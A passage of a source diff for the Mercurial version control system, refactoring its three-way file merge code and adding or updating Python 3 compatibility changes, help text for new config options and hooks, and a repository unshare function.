-            tools[t] = int(_toolstr(ui, t, "priority", "0"))
-        if _toolbool(ui, t, "disabled", False):
+            tools[t] = int(_toolstr(ui, t, "priority"))
+        if _toolbool(ui, t, "disabled"):
             disabled.add(t)
     names = tools.keys()
     tools = sorted([(-p, tool) for tool, p in tools.items()
@@ -238,9 +223,9 @@
         return '\n'
     return None # unknown
 
-def _matcheol(file, origfile):
+def _matcheol(file, back):
     "Convert EOL markers in a file to match origfile"
-    tostyle = _eoltype(util.readfile(origfile))
+    tostyle = _eoltype(back.data()) # No repo.wread filters?
     if tostyle:
         data = util.readfile(file)
         style = _eoltype(data)
@@ -330,7 +315,7 @@
     tool, toolpath, binary, symlink = toolconf
     if symlink or fcd.isabsent() or fco.isabsent():
         return 1
-    a, b, c, back = files
+    unused, unused, unused, back = files
 
     ui = repo.ui
 
@@ -340,7 +325,7 @@
     try:
         premerge = _toolbool(ui, tool, "premerge", not binary)
     except error.ConfigError:
-        premerge = _toolstr(ui, tool, "premerge").lower()
+        premerge = _toolstr(ui, tool, "premerge", "").lower()
         if premerge not in validkeep:
             _valid = ', '.join(["'" + v + "'" for v in validkeep])
             raise error.ConfigError(_("%s.premerge not valid "
@@ -353,12 +338,13 @@
                 labels = _defaultconflictlabels
             if len(labels) < 3:
                 labels.append('base')
-        r = simplemerge.simplemerge(ui, a, b, c, quiet=True, label=labels)
+        r = simplemerge.simplemerge(ui, fcd, fca, fco, quiet=True, label=labels)
         if not r:
             ui.debug(" premerge successful\n")
             return 0
         if premerge not in validkeep:
-            util.copyfile(back, a) # restore from backup and try again
+            # restore from backup and try again
+            _restorebackup(fcd, back)
     return 1 # continue merging
 
 def _mergecheck(repo, mynode, orig, fcd, fco, fca, toolconf):
@@ -379,11 +365,9 @@
     files. It will fail if there are any conflicts and leave markers in
     the partially merged file. Markers will have two sections, one for each side
     of merge, unless mode equals 'union' which suppresses the markers."""
-    a, b, c, back = files
-
     ui = repo.ui
 
-    r = simplemerge.simplemerge(ui, a, b, c, label=labels, mode=mode)
+    r = simplemerge.simplemerge(ui, fcd, fca, fco, label=labels, mode=mode)
     return True, r, False
 
 @internaltool('union', fullmerge,
@@ -434,8 +418,7 @@
     """
     assert localorother is not None
     tool, toolpath, binary, symlink = toolconf
-    a, b, c, back = files
-    r = simplemerge.simplemerge(repo.ui, a, b, c, label=labels,
+    r = simplemerge.simplemerge(repo.ui, fcd, fca, fco, label=labels,
                                 localorother=localorother)
     return True, r
 
@@ -479,11 +462,16 @@
     This implies permerge. Therefore, files aren't dumped, if premerge
     runs successfully. Use :forcedump to forcibly write files out.
     """
-    a, b, c, back = files
-
+    a = _workingpath(repo, fcd)
     fd = fcd.path()
 
-    util.copyfile(a, a + ".local")
+    # Run ``flushall()`` to make any missing folders the following wwrite
+    # calls might be depending on.
+    from . import context
+    if isinstance(fcd, context.overlayworkingfilectx):
+        fcd.ctx().flushall()
+
+    util.writefile(a + ".local", fcd.decodeddata())
     repo.wwrite(fd + ".other", fco.data(), fco.flags())
     repo.wwrite(fd + ".base", fca.data(), fca.flags())
     return False, 1, False
@@ -503,33 +491,40 @@
         repo.ui.warn(_('warning: %s cannot merge change/delete conflict '
                        'for %s\n') % (tool, fcd.path()))
         return False, 1, None
-    a, b, c, back = files
-    out = ""
-    env = {'HG_FILE': fcd.path(),
-           'HG_MY_NODE': short(mynode),
-           'HG_OTHER_NODE': str(fco.changectx()),
-           'HG_BASE_NODE': str(fca.changectx()),
-           'HG_MY_ISLINK': 'l' in fcd.flags(),
-           'HG_OTHER_ISLINK': 'l' in fco.flags(),
-           'HG_BASE_ISLINK': 'l' in fca.flags(),
-           }
-
-    ui = repo.ui
+    unused, unused, unused, back = files
+    a = _workingpath(repo, fcd)
+    b, c = _maketempfiles(repo, fco, fca)
+    try:
+        out = ""
+        env = {'HG_FILE': fcd.path(),
+               'HG_MY_NODE': short(mynode),
+               'HG_OTHER_NODE': str(fco.changectx()),
+               'HG_BASE_NODE': str(fca.changectx()),
+               'HG_MY_ISLINK': 'l' in fcd.flags(),
+               'HG_OTHER_ISLINK': 'l' in fco.flags(),
+               'HG_BASE_ISLINK': 'l' in fca.flags(),
+               }
+        ui = repo.ui
 
-    args = _toolstr(ui, tool, "args", '$local $base $other')
-    if "$output" in args:
-        out, a = a, back # read input from backup, write to original
-    replace = {'local': a, 'base': b, 'other': c, 'output': out}
-    args = util.interpolate(r'\$', replace, args,
-                            lambda s: util.shellquote(util.localpath(s)))
-    cmd = toolpath + ' ' + args
-    if _toolbool(ui, tool, "gui"):
-        repo.ui.status(_('running merge tool %s for file %s\n') %
-                       (tool, fcd.path()))
-    repo.ui.debug('launching merge tool: %s\n' % cmd)
-    r = ui.system(cmd, cwd=repo.root, environ=env, blockedtag='mergetool')
-    repo.ui.debug('merge tool returned: %s\n' % r)
-    return True, r, False
+        args = _toolstr(ui, tool, "args")
+        if "$output" in args:
+            # read input from backup, write to original
+            out = a
+            a = repo.wvfs.join(back.path())
+        replace = {'local': a, 'base': b, 'other': c, 'output': out}
+        args = util.interpolate(r'\$', replace, args,
+                                lambda s: util.shellquote(util.localpath(s)))
+        cmd = toolpath + ' ' + args
+        if _toolbool(ui, tool, "gui"):
+            repo.ui.status(_('running merge tool %s for file %s\n') %
+                           (tool, fcd.path()))
+        repo.ui.debug('launching merge tool: %s\n' % cmd)
+        r = ui.system(cmd, cwd=repo.root, environ=env, blockedtag='mergetool')
+        repo.ui.debug('merge tool returned: %d\n' % r)
+        return True, r, False
+    finally:
+        util.unlink(b)
+        util.unlink(c)
 
 def _formatconflictmarker(repo, ctx, template, label, pad):
     """Applies the given template to the ctx, prefixed by the label.
@@ -595,7 +590,65 @@
         "o": " [%s]" % labels[1],
     }
 
-def _filemerge(premerge, repo, mynode, orig, fcd, fco, fca, labels=None):
+def _restorebackup(fcd, back):
+    # TODO: Add a workingfilectx.write(otherfilectx) path so we can use
+    # util.copy here instead.
+    fcd.write(back.data(), fcd.flags())
+
+def _makebackup(repo, ui, wctx, fcd, premerge):
+    """Makes and returns a filectx-like object for ``fcd``'s backup file.
+
+    In addition to preserving the user's pre-existing modifications to `fcd`
+    (if any), the backup is used to undo certain premerges, confirm whether a
+    merge changed anything, and determine what line endings the new file should
+    have.
+    """
+    if fcd.isabsent():
+        return None
+    # TODO: Break this import cycle somehow. (filectx -> ctx -> fileset ->
+    # merge -> filemerge). (I suspect the fileset import is the weakest link)
+    from . import context
+    a = _workingpath(repo, fcd)
+    back = scmutil.origpath(ui, repo, a)
+    inworkingdir = (back.startswith(repo.wvfs.base) and not
+        back.startswith(repo.vfs.base))
+
+    if isinstance(fcd, context.overlayworkingfilectx) and inworkingdir:
+        # If the backup file is to be in the working directory, and we're
+        # merging in-memory, we must redirect the backup to the memory context
+        # so we don't disturb the working directory.
+        relpath = back[len(repo.wvfs.base) + 1:]
+        wctx[relpath].write(fcd.data(), fcd.flags())
+        return wctx[relpath]
+    else:
+        # Otherwise, write to wherever the user specified the backups should go.
+        #
+        # A arbitraryfilectx is returned, so we can run the same functions on
+        # the backup context regardless of where it lives.
+        if premerge:
+            util.copyfile(a, back)
+        return context.arbitraryfilectx(back, repo=repo)
+
+def _maketempfiles(repo, fco, fca):
+    """Writes out `fco` and `fca` as temporary files, so an external merge
+    tool may use them.
+    """
+    def temp(prefix, ctx):
+        fullbase, ext = os.path.splitext(ctx.path())
+        pre = "%s~%s." % (os.path.basename(fullbase), prefix)
+        (fd, name) = tempfile.mkstemp(prefix=pre, suffix=ext)
+        data = repo.wwritedata(ctx.path(), ctx.data())
+        f = os.fdopen(fd, pycompat.sysstr("wb"))
+        f.write(data)
+        f.close()
+        return name
+
+    b = temp("base", fca)
+    c = temp("other", fco)
+
+    return b, c
+
+def _filemerge(premerge, repo, wctx, mynode, orig, fcd, fco, fca, labels=None):
     """perform a 3-way merge in the working directory
 
     premerge = whether this is a premerge
@@ -608,16 +661,6 @@
     Returns whether the merge is complete, the return value of the merge, and
     a boolean indicating whether the file was deleted from disk."""
 
-    def temp(prefix, ctx):
-        fullbase, ext = os.path.splitext(ctx.path())
-        pre = "%s~%s." % (os.path.basename(fullbase), prefix)
-        (fd, name) = tempfile.mkstemp(prefix=pre, suffix=ext)
-        data = repo.wwritedata(ctx.path(), ctx.data())
-        f = os.fdopen(fd, pycompat.sysstr("wb"))
-        f.write(data)
-        f.close()
-        return name
-
     if not fco.cmp(fcd): # files identical?
         return True, None, False
 
@@ -645,6 +688,11 @@
         onfailure = _("merging %s failed!\n")
         precheck = None
 
+        # If using deferred writes, must flush any deferred contents if running
+        # an external merge tool since it has arbitrary access to the working
+        # copy.
+        wctx.flushall()
+
     toolconf = tool, toolpath, binary, symlink
 
     if mergetype == nomerge:
@@ -665,17 +713,8 @@
             ui.warn(onfailure % fd)
         return True, 1, False
 
-    a = repo.wjoin(fd)
-    b = temp("base", fca)
-    c = temp("other", fco)
-    if not fcd.isabsent():
-        back = scmutil.origpath(ui, repo, a)
-        if premerge:
-            util.copyfile(a, back)
-    else:
-        back = None
-    files = (a, b, c, back)
-
+    back = _makebackup(repo, ui, wctx, fcd, premerge)
+    files = (None, None, None, back)
     r = 1
     try:
         markerstyle = ui.config('ui', 'mergemarkers')
@@ -693,22 +732,35 @@
                                      toolconf, files, labels=labels)
 
         if needcheck:
-            r = _check(r, ui, tool, fcd, files)
+            r = _check(repo, r, ui, tool, fcd, files)
 
         if r:
             if onfailure:
                 ui.warn(onfailure % fd)
+            _onfilemergefailure(ui)
 
         return True, r, deleted
     finally:
         if not r and back is not None:
-            util.unlink(back)
-        util.unlink(b)
-        util.unlink(c)
+            back.remove()
+
+def _haltmerge():
+    msg = _('merge halted after failed merge (see hg resolve)')
+    raise error.InterventionRequired(msg)
 
-def _check(r, ui, tool, fcd, files):
+def _onfilemergefailure(ui):
+    action = ui.config('merge', 'on-failure')
+    if action == 'prompt':
+        msg = _('continue merge operation (yn)?' '$$ &Yes $$ &No')
+        if ui.promptchoice(msg, 0) == 1:
+            _haltmerge()
+    if action == 'halt':
+        _haltmerge()
+    # default action is 'continue', in which case we neither prompt nor halt
+
+def _check(repo, r, ui, tool, fcd, files):
     fd = fcd.path()
-    a, b, c, back = files
+    unused, unused, unused, back = files
 
     if not r and (_toolbool(ui, tool, "checkconflicts") or
                   'conflicts' in _toollist(ui, tool, "check")):
@@ -726,22 +778,39 @@
     if not r and not checked and (_toolbool(ui, tool, "checkchanged") or
                                   'changed' in
                                   _toollist(ui, tool, "check")):
-        if back is not None and filecmp.cmp(a, back):
+        if back is not None and not fcd.cmp(back):
             if ui.promptchoice(_(" output file %s appears unchanged\n"
                                  "was merge successful (yn)?"
                                  "$$ &Yes $$ &No") % fd, 1):
                 r = 1
 
     if back is not None and _toolbool(ui, tool, "fixeol"):
-        _matcheol(a, back)
+        _matcheol(_workingpath(repo, fcd), back)
 
     return r
 
-def premerge(repo, mynode, orig, fcd, fco, fca, labels=None):
-    return _filemerge(True, repo, mynode, orig, fcd, fco, fca, labels=labels)
+def _workingpath(repo, ctx):
+    return repo.wjoin(ctx.path())
+
+def premerge(repo, wctx, mynode, orig, fcd, fco, fca, labels=None):
+    return _filemerge(True, repo, wctx, mynode, orig, fcd, fco, fca,
+                      labels=labels)
+
+def filemerge(repo, wctx, mynode, orig, fcd, fco, fca, labels=None):
+    return _filemerge(False, repo, wctx, mynode, orig, fcd, fco, fca,
+                      labels=labels)
 
-def filemerge(repo, mynode, orig, fcd, fco, fca, labels=None):
-    return _filemerge(False, repo, mynode, orig, fcd, fco, fca, labels=labels)
+def loadinternalmerge(ui, extname, registrarobj):
+    """Load internal merge tool from specified registrarobj
+    """
+    for name, func in registrarobj._table.iteritems():
+        fullname = ':' + name
+        internals[fullname] = func
+        internals['internal:' + name] = func
+        internalsdoc[fullname] = func
+
+# load built-in merge tools explicitly to setup internalsdoc
+loadinternalmerge(None, None, internaltool)
 
 # tell hggettext to extract docstrings from these functions:
 i18nfunctions = internals.values()
diff --git a/mercurial/formatter.py b/mercurial/formatter.py
--- a/mercurial/formatter.py
+++ b/mercurial/formatter.py
@@ -45,21 +45,25 @@
 ...     import sys
 ...     from . import ui as uimod
 ...     ui = uimod.ui()
-...     ui.fout = sys.stdout  # redirect to doctest
 ...     ui.verbose = verbose
-...     return fn(ui, ui.formatter(fn.__name__, opts))
+...     ui.pushbuffer()
+...     try:
+...         return fn(ui, ui.formatter(pycompat.sysbytes(fn.__name__),
+...                   pycompat.byteskwargs(opts)))
+...     finally:
+...         print(pycompat.sysstr(ui.popbuffer()), end='')
 
 Basic example:
 
 >>> def files(ui, fm):
-...     files = [('foo', 123, (0, 0)), ('bar', 456, (1, 0))]
+...     files = [(b'foo', 123, (0, 0)), (b'bar', 456, (1, 0))]
 ...     for f in files:
 ...         fm.startitem()
-...         fm.write('path', '%s', f[0])
-...         fm.condwrite(ui.verbose, 'date', '  %s',
-...                      fm.formatdate(f[2], '%Y-%m-%d %H:%M:%S'))
+...         fm.write(b'path', b'%s', f[0])
+...         fm.condwrite(ui.verbose, b'date', b'  %s',
+...                      fm.formatdate(f[2], b'%Y-%m-%d %H:%M:%S'))
 ...         fm.data(size=f[1])
-...         fm.plain('\\n')
+...         fm.plain(b'\\n')
 ...     fm.end()
 >>> show(files)
 foo
@@ -67,7 +71,7 @@
 >>> show(files, verbose=True)
 foo  1970-01-01 00:00:00
 bar  1970-01-01 00:00:01
->>> show(files, template='json')
+>>> show(files, template=b'json')
 [
  {
   "date": [0, 0],
@@ -80,7 +84,7 @@
   "size": 456
  }
 ]
->>> show(files, template='path: {path}\\ndate: {date|rfc3339date}\\n')
+>>> show(files, template=b'path: {path}\\ndate: {date|rfc3339date}\\n')
 path: foo
 date: 1970-01-01T00:00:00+00:00
 path: bar
@@ -90,18 +94,18 @@
 
 >>> def subrepos(ui, fm):
 ...     fm.startitem()
-...     fm.write('repo', '[%s]\\n', 'baz')
-...     files(ui, fm.nested('files'))
+...     fm.write(b'repo', b'[%s]\\n', b'baz')
+...     files(ui, fm.nested(b'files'))
 ...     fm.end()
 >>> show(subrepos)
 [baz]
 foo
 bar
->>> show(subrepos, template='{repo}: {join(files % "{path}", ", ")}\\n')
+>>> show(subrepos, template=b'{repo}: {join(files % "{path}", ", ")}\\n')
 baz: foo, bar
 """
 
-from __future__ import absolute_import
+from __future__ import absolute_import, print_function
 
 import collections
 import contextlib
@@ -163,7 +167,6 @@
             self.end()
     def _showitem(self):
         '''show a formatted item once all data is collected'''
-        pass
     def startitem(self):
         '''begin an item in the format list'''
         if self._item is not None:
@@ -202,7 +205,6 @@
         self._item.update(zip(fieldkeys, fielddata))
     def plain(self, text, **opts):
         '''show raw text for non-templated mode'''
-        pass
     def isplain(self):
         '''check for plain formatter usage'''
         return False
@@ -346,15 +348,14 @@
         data = util.sortdict(_iteritems(data))
         def f():
             yield _plainconverter.formatdict(data, key, value, fmt, sep)
-        return templatekw.hybriddict(data, key=key, value=value, fmt=fmt,
-                                     gen=f())
+        return templatekw.hybriddict(data, key=key, value=value, fmt=fmt, gen=f)
     @staticmethod
     def formatlist(data, name, fmt, sep):
         '''build object that can be evaluated as either plain string or list'''
         data = list(data)
         def f():
             yield _plainconverter.formatlist(data, name, fmt, sep)
-        return templatekw.hybridlist(data, name=name, fmt=fmt, gen=f())
+        return templatekw.hybridlist(data, name=name, fmt=fmt, gen=f)
 
 class templateformatter(baseformatter):
     def __init__(self, ui, out, topic, opts):
@@ -417,8 +418,8 @@
 
     A map file defines a stand-alone template environment. If a map file
     selected, all templates defined in the file will be loaded, and the
-    template matching the given topic will be rendered. No aliases will be
-    loaded from user config.
+    template matching the given topic will be rendered. Aliases won't be
+    loaded from user config, but from the map file.
 
     If no map file selected, all templates in [templates] section will be
     available as well as aliases in [templatealias].
diff --git a/mercurial/graphmod.py b/mercurial/graphmod.py
--- a/mercurial/graphmod.py
+++ b/mercurial/graphmod.py
@@ -172,7 +172,7 @@
         yield (cur, type, data, (col, color), edges)
         seen = next
 
-def asciiedges(type, char, lines, state, rev, parents):
+def asciiedges(type, char, state, rev, parents):
     """adds edge info to changelog DAG walk suitable for ascii()"""
     seen = state['seen']
     if rev not in seen:
@@ -192,6 +192,7 @@
             state['edges'][parent] = state['styles'].get(ptype, '|')
 
     ncols = len(seen)
+    width = 1 + ncols * 2
     nextseen = seen[:]
     nextseen[nodeidx:nodeidx + 1] = newparents
     edges = [(nodeidx, nextseen.index(p)) for p in knownparents]
@@ -205,9 +206,9 @@
         edges.append((nodeidx, nodeidx))
         edges.append((nodeidx, nodeidx + 1))
         nmorecols = 1
-        yield (type, char, lines, (nodeidx, edges, ncols, nmorecols))
+        width += 2
+        yield (type, char, width, (nodeidx, edges, ncols, nmorecols))
         char = '\\'
-        lines = []
         nodeidx += 1
         ncols += 1
         edges = []
@@ -218,9 +219,11 @@
     if len(newparents) > 1:
         edges.append((nodeidx, nodeidx + 1))
     nmorecols = len(nextseen) - ncols
+    if nmorecols > 0:
+        width += 2
     # remove current node from edge characters, no longer needed
     state['edges'].pop(rev, None)
-    yield (type, char, lines, (nodeidx, edges, ncols, nmorecols))
+    yield (type, char, width, (nodeidx, edges, ncols, nmorecols))
 
 def _fixlongrightedges(edges):
     for (i, (start, end)) in enumerate(edges):
diff --git a/mercurial/help/config.txt b/mercurial/help/config.txt
--- a/mercurial/help/config.txt
+++ b/mercurial/help/config.txt
@@ -313,6 +313,9 @@
 ``ignorews``
     Ignore white space when comparing lines.
 
+``ignorewseol``
+    Ignore white space at the end of a line when comparing lines.
+
 ``ignorewsamount``
     Ignore changes in the amount of white space.
 
@@ -439,6 +442,18 @@
     Make paths in :hg:`status` output relative to the current directory.
     (default: False)
 
+``update.check``
+    Determines what level of checking :hg:`update` will perform before moving
+    to a destination revision. Valid values are ``abort``, ``none``,
+    ``linear``, and ``noconflict``. ``abort`` always fails if the working
+    directory has uncommitted changes. ``none`` performs no checking, and may
+    result in a merge with uncommitted changes. ``linear`` allows any update
+    as long as it follows a straight line in the revision history, and may
+    trigger a merge with uncommitted changes. ``noconflict`` will allow any
+    update which would not trigger a merge with uncommitted changes, if any
+    are present.
+    (default: ``linear``)
+
 ``update.requiredest``
     Require that the user pass a destination when running :hg:`update`.
     For example, :hg:`update .::` will be allowed, but a plain :hg:`update`
@@ -973,12 +988,49 @@
   phase changes will set ``HG_BOOKMARK_MOVED`` and ``HG_PHASES_MOVED`` to ``1``
   respectively, etc.
 
+``pretxnclose-bookmark``
+  Run right before a bookmark change is actually finalized. Any repository
+  change will be visible to the hook program. This lets you validate the
+  transaction content or change it. Exit status 0 allows the commit to
+  proceed. A non-zero status will cause the transaction to be rolled back.
+  The name of the bookmark will be available in ``$HG_BOOKMARK``, the new
+  bookmark location will be available in ``$HG_NODE`` while the previous
+  location will be available in ``$HG_OLDNODE``. In case of a bookmark
+  creation ``$HG_OLDNODE`` will be empty. In case of deletion ``$HG_NODE``
+  will be empty.
+  In addition, the reason for the transaction opening will be in
+  ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
+  ``HG_TXNID``.
+
+``pretxnclose-phase``
+  Run right before a phase change is actually finalized. Any repository change
+  will be visible to the hook program. This lets you validate the transaction
+  content or change it. Exit status 0 allows the commit to proceed.  A non-zero
+  status will cause the transaction to be rolled back.
+  The affected node is available in ``$HG_NODE``, the phase in ``$HG_PHASE``
+  while the previous ``$HG_OLDPHASE``. In case of new node, ``$HG_OLDPHASE``
+  will be empty.  In addition, the reason for the transaction opening will be in
+  ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
+  ``HG_TXNID``.
+
 ``txnclose``
   Run after any repository transaction has been committed. At this
   point, the transaction can no longer be rolled back. The hook will run
   after the lock is released. See :hg:`help config.hooks.pretxnclose` for
   details about available variables.
 
+``txnclose-bookmark``
+  Run after any bookmark change has been committed. At this point, the
+  transaction can no longer be rolled back. The hook will run after the lock
+  is released. See :hg:`help config.hooks.pretxnclose-bookmark` for details
+  about available variables.
+
+``txnclose-phase``
+  Run after any phase change has been committed. At this point, the
+  transaction can no longer be rolled back. The hook will run after the lock
+  is released. See :hg:`help config.hooks.pretxnclose-phase` for details about
+  available variables.
+
 ``txnabort``
   Run when a transaction is aborted. See :hg:`help config.hooks.pretxnclose`
   for details about available variables.
@@ -1236,6 +1288,17 @@
    different contents. Similar to ``merge.checkignored``, except for files that
    are not ignored. (default: ``abort``)
 
+``on-failure``
+   When set to ``continue`` (the default), the merge process attempts to
+   merge all unresolved files using the merge chosen tool, regardless of
+   whether previous file merge attempts during the process succeeded or not.
+   Setting this to ``prompt`` will prompt after any merge failure continue
+   or halt the merge process. Setting this to ``halt`` will automatically
+   halt the merge process on any merge tool failure. The merge process
+   can be restarted by using the ``resolve`` command. When a merge is
+   halted, the repository is left in a normal ``unresolved`` merge state.
+   (default: ``continue``)
+
 ``merge-patterns``
 ------------------
 
@@ -1610,6 +1673,10 @@
     Minimum delay before showing a new topic. When set to less than 3 * refresh,
     that value will be used instead. (default: 1)
 
+``estimateinterval``
+    Maximum sampling interval in seconds for speed and estimated time
+    calculation. (default: 60)
+
 ``refresh``
     Time in seconds between refreshes of the progress bar. (default: 0.1)
 
@@ -1640,7 +1707,7 @@
 ``rebase``
 ----------
 
-``allowdivergence``
+``evolution.allowdivergence``
     Default to False, when True allow creating divergence when performing
     rebase of obsolete changesets.
 
@@ -2004,7 +2071,9 @@
 
 ``origbackuppath``
     The path to a directory used to store generated .orig files. If the path is
-    not a directory, one will be created.
+    not a directory, one will be created.  If set, files stored in this
+    directory have the same name as the original file and do not have a .orig
+    suffix.
 
 ``paginate``
   Control the pagination of command output (default: True). See :hg:`help pager`
diff --git a/mercurial/help/internals/wireprotocol.txt b/mercurial/help/internals/wireprotocol.txt
--- a/mercurial/help/internals/wireprotocol.txt
+++ b/mercurial/help/internals/wireprotocol.txt
@@ -394,7 +394,7 @@
 ----------------
 
 If present the server prefers that clients clone using the streaming clone
-protocol (``hg clone --uncompressed``) rather than the standard
+protocol (``hg clone --stream``) rather than the standard
 changegroup/bundle based protocol.
 
 This capability was introduced in Mercurial 2.2 (released May 2012).
diff --git a/mercurial/help/templates.txt b/mercurial/help/templates.txt
--- a/mercurial/help/templates.txt
+++ b/mercurial/help/templates.txt
@@ -72,6 +72,12 @@
 To prevent it from being interpreted, you can use an escape character ``\{``
 or a raw string prefix, ``r'...'``.
 
+The dot operator can be used as a shorthand for accessing a sub item:
+
+- ``expr.member`` is roughly equivalent to ``expr % '{member}'`` if ``expr``
+  returns a non-list/dict. The returned value is not stringified.
+- ``dict.key`` is identical to ``get(dict, 'key')``.
+
 Aliases
 =======
 
diff --git a/mercurial/hg.py b/mercurial/hg.py
--- a/mercurial/hg.py
+++ b/mercurial/hg.py
@@ -180,17 +180,17 @@
 def defaultdest(source):
     '''return default destination of clone if none is given
 
-    >>> defaultdest('foo')
+    >>> defaultdest(b'foo')
     'foo'
-    >>> defaultdest('/foo/bar')
+    >>> defaultdest(b'/foo/bar')
     'bar'
-    >>> defaultdest('/')
+    >>> defaultdest(b'/')
     ''
-    >>> defaultdest('')
+    >>> defaultdest(b'')
     ''
-    >>> defaultdest('http://example.org/')
+    >>> defaultdest(b'http://example.org/')
     ''
-    >>> defaultdest('http://example.org/foo/')
+    >>> defaultdest(b'http://example.org/foo/')
     'foo'
     '''
     path = util.url(source).path
@@ -255,6 +255,43 @@
     r = repository(ui, destwvfs.base)
     postshare(srcrepo, r, bookmarks=bookmarks, defaultpath=defaultpath)
     _postshareupdate(r, update, checkout=checkout)
+    return r
+
+def unshare(ui, repo):
+    """convert a shared repository to a normal one
+
+    Copy the store data to the repo and remove the sharedpath data.
+    """
+
+    destlock = lock = None
+    lock = repo.lock()
+    try:
+        # we use locks here because if we race with commit, we
+        # can end up with extra data in the cloned revlogs that's
+        # not pointed to by changesets, thus causing verify to
+        # fail
+
+        destlock = copystore(ui, repo, repo.path)
+
+        sharefile = repo.vfs.join('sharedpath')
+        util.rename(sharefile, sharefile + '.old')
+
+        repo.requirements.discard('shared')
+        repo.requirements.discard('relshared')
+        repo._writerequirements()
+    finally:
+        destlock and destlock.release()
+        lock and lock.release()
+
+    # update store, spath, svfs and sjoin of repo
+    repo.unfiltered().__init__(repo.baseui, repo.root)
+
+    # TODO: figure out how to access subrepos that exist, but were previously
+    #       removed from .hgsub
+    c = repo['.']
+    subs = c.substate
+    for s in sorted(subs):
+        c.sub(s).unshare()
 
 def postshare(sourcerepo, destrepo, bookmarks=True, defaultpath=None):
     """Called after a new shared repo is created.
@@ -641,11 +678,11 @@
         destrepo = destpeer.local()
         if destrepo:
             template = uimod.samplehgrcs['cloned']
-            fp = destrepo.vfs("hgrc", "w", text=True)
+            fp = destrepo.vfs("hgrc", "wb")
             u = util.url(abspath)
             u.passwd = None
-            defaulturl = str(u)
-            fp.write(template % defaulturl)
+            defaulturl = bytes(u)
+            fp.write(util.tonativeeol(template % defaulturl))
             fp.close()
 
             destrepo.ui.setconfig('paths', 'default', defaulturl, 'clone')
@@ -757,7 +794,7 @@
     This returns whether conflict is detected at updating or not.
     """
     if updatecheck is None:
-        updatecheck = ui.config('experimental', 'updatecheck')
+        updatecheck = ui.config('commands', 'update.check')
         if updatecheck not in ('abort', 'none', 'linear', 'noconflict'):
             # If not configured, or invalid value configured
             updatecheck = 'linear'
diff --git a/mercurial/hgweb/__init__.py b/mercurial/hgweb/__init__.py
--- a/mercurial/hgweb/__init__.py
+++ b/mercurial/hgweb/__init__.py
@@ -14,6 +14,7 @@
 
 from .. import (
     error,
+    pycompat,
     util,
 )
 
@@ -61,25 +62,26 @@
         else:
             prefix = ''
 
-        port = ':%d' % self.httpd.port
-        if port == ':80':
-            port = ''
+        port = r':%d' % self.httpd.port
+        if port == r':80':
+            port = r''
 
         bindaddr = self.httpd.addr
-        if bindaddr == '0.0.0.0':
-            bindaddr = '*'
-        elif ':' in bindaddr: # IPv6
-            bindaddr = '[%s]' % bindaddr
+        if bindaddr == r'0.0.0.0':
+            bindaddr = r'*'
+        elif r':' in bindaddr: # IPv6
+            bindaddr = r'[%s]' % bindaddr
 
         fqaddr = self.httpd.fqaddr
-        if ':' in fqaddr:
-            fqaddr = '[%s]' % fqaddr
+        if r':' in fqaddr:
+            fqaddr = r'[%s]' % fqaddr
         if self.opts['port']:
             write = self.ui.status
         else:
             write = self.ui.write
         write(_('listening at http://%s%s/%s (bound to %s:%d)\n') %
-              (fqaddr, port, prefix, bindaddr, self.httpd.port))
+              (pycompat.sysbytes(fqaddr), pycompat.sysbytes(port),
+               prefix, pycompat.sysbytes(bindaddr), self.httpd.port))
         self.ui.flush()  # avoid buffering of status message
 
     def run(self):
diff --git a/mercurial/hgweb/common.py b/mercurial/hgweb/common.py
--- a/mercurial/hgweb/common.py
+++ b/mercurial/hgweb/common.py
@@ -12,7 +12,6 @@
 import errno
 import mimetypes
 import os
-import uuid
 
 from .. import (
     encoding,
@@ -69,7 +68,7 @@
     # require ssl by default for pushing, auth info cannot be sniffed
     # and replayed
     scheme = req.env.get('wsgi.url_scheme')
-    if hgweb.configbool('web', 'push_ssl', True) and scheme != 'https':
+    if hgweb.configbool('web', 'push_ssl') and scheme != 'https':
         raise ErrorResponse(HTTP_FORBIDDEN, 'ssl required')
 
     deny = hgweb.configlist('web', 'deny_push')
@@ -167,7 +166,7 @@
             break
     try:
         os.stat(path)
-        ct = mimetypes.guess_type(path)[0] or "text/plain"
+        ct = mimetypes.guess_type(pycompat.fsdecode(path))[0] or "text/plain"
         with open(path, 'rb') as fh:
             data = fh.read()
 
@@ -178,7 +177,8 @@
         if err.errno == errno.ENOENT:
             raise ErrorResponse(HTTP_NOT_FOUND)
         else:
-            raise ErrorResponse(HTTP_SERVER_ERROR, err.strerror)
+            raise ErrorResponse(HTTP_SERVER_ERROR,
+                                encoding.strtolocal(err.strerror))
 
 def paritygen(stripecount, offset=0):
     """count parity of horizontal stripes for easier reading"""
@@ -207,7 +207,7 @@
             encoding.environ.get("EMAIL") or "")
 
 def caching(web, req):
-    tag = 'W/"%s"' % web.mtime
+    tag = r'W/"%d"' % web.mtime
     if req.env.get('HTTP_IF_NONE_MATCH') == tag:
         raise ErrorResponse(HTTP_NOT_MODIFIED)
     req.headers.append(('ETag', tag))
@@ -220,6 +220,23 @@
     First value is ``None`` if CSP isn't enabled. Second value is ``None``
     if CSP isn't enabled or if the CSP header doesn't need a nonce.
     """
+    # Without demandimport, "import uuid" could have an immediate side-effect
+    # running "ldconfig" on Linux trying to find libuuid.
+    # With Python <= 2.7.12, that "ldconfig" is run via a shell and the shell
+    # may pollute the terminal with:
+    #
+    #   shell-init: error retrieving current directory: getcwd: cannot access
+    #   parent directories: No such file or directory
+    #
+    # Python >= 2.7.13 has fixed it by running "ldconfig" directly without a
+    # shell (hg changeset a09ae70f3489).
+    #
+    # Moved "import uuid" from here so it's executed after we know we have
+    # a sane cwd (i.e. after dispatch.py cwd check).
+    #
+    # We can move it back once we no longer need Python <= 2.7.12 support.
+    import uuid
+
     # Don't allow untrusted CSP setting since it be disable protections
     # from a trusted/global source.
     csp = ui.config('web', 'csp', untrusted=False)
diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -30,6 +30,7 @@
     hg,
     hook,
     profiling,
+    pycompat,
     repoview,
     templatefilters,
     templater,
@@ -60,6 +61,17 @@
     ('bz2', ('application/x-bzip2', 'tbz2', '.tar.bz2', None)),
 ))
 
+def getstyle(req, configfn, templatepath):
+    fromreq = req.form.get('style', [None])[0]
+    if fromreq is not None:
+        fromreq = pycompat.sysbytes(fromreq)
+    styles = (
+        fromreq,
+        configfn('web', 'style'),
+        'paper',
